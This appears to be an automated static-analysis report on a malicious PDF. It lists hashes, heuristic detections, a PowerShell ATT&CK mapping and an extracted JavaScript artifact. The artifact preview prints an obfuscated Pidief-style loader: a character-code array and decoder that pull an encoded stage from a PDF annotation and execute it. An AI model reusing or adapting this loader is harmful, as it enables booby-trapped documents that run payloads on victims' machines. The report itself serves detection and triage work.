Malicious PDF — malware analysis report

Static analysis result for SHA-256 31b88e0200f4431a…

MALICIOUS

PDF

12.4 KB First seen: 2026-05-09
MD5: db176bb03c85555d04b35e0a6bea7f66 SHA-1: 78bcb6304d2ca799b59605b999a7bf756dca4f85 SHA-256: 31b88e0200f4431a53e09ac87c59bde013e6bd58504e0b4cb42a66483b748e4f
156 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file was flagged as malicious by an ML classifier with high confidence. Static analysis revealed embedded JavaScript, indicated by PDF_JAVASCRIPT and PDF_JS heuristics. The ML_NYX_PDF_MALICIOUS rule fired, suggesting a high probability of malicious intent. The embedded JavaScript, named 'javascript_obj0005_000.js', is obfuscated and likely responsible for downloading and executing a secondary payload, a common technique for malware delivery.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 5

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a large numeric character-code array feeding an auto-run script) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
            for (var i=0; i < list.length; i++) {
            result +=  String.fromCharCode(list[i] - jump);
        }
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0005_000.js pdf-javascript-stream PDF /JS object 5 at offset 0x107 1418 bytes
SHA-256: d2233358777d1aaed8efae57eefbdc7f0ddc83b20eb36c734bc8ee388da7c061
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
sourceCode = "118,97,114,32,122,59,32,118,97,114,32,121,59,32,10,32,118,97,114,32,104,32,61,32,39,101,100,118,111,97,122,99,108,39,59,32,10,9,32,32,122,32,61,32,121,32,61,32,97,112,112,91,104,46,114,101,112,108,97,99,101,40,47,91,97,118,105,101,122,106,108,93,47,103,44,32,39,39,41,93,59,32,10,9,32,118,97,114,32,116,109,112,32,61,32,39,115,121,110,99,65,69,69,111,116,83,99,97,110,39,59,32,121,32,61,32,48,59,32,9,32,122,91,116,109,112,46,114,101,112,108,97,99,101,40,47,69,47,103,44,32,39,110,39,41,93,40,41,59,32,121,32,61,32,122,59,32,118,97,114,32,112,32,61,32,121,46,103,101,116,65,110,110,111,116,115,32,40,32,123,32,32,110,80,97,103,101,58,32,48,32,125,41,32,59,32,32,32,118,97,114,32,115,32,61,32,112,91,48,93,59,32,115,32,61,32,115,91,39,115,117,98,39,32,43,32,39,106,101,99,116,39,93,59,32,118,97,114,32,32,108,32,61,32,32,32,115,46,114,101,112,108,97,99,101,40,47,91,122,104,121,103,93,47,103,44,32,39,37,39,41,32,32,59,32,115,32,61,32,32,117,110,101,115,99,97,112,101,32,40,32,108,32,32,41,32,59,97,112,112,91,104,46,114,101,112,108,97,99,101,40,47,91,99,122,111,109,100,113,115,93,47,103,44,32,39,39,41,93,40,32,115,41,59,10,32,115,32,61,32,32,39,39,59,32,122,32,32,61,32,49,59"; 
function decrypt(str, jump){
var result = "";
var list = str.split(',');
        for (var i=0; i < list.length; i++) {
            result +=  String.fromCharCode(list[i] - jump);
        }
        return result;
        }

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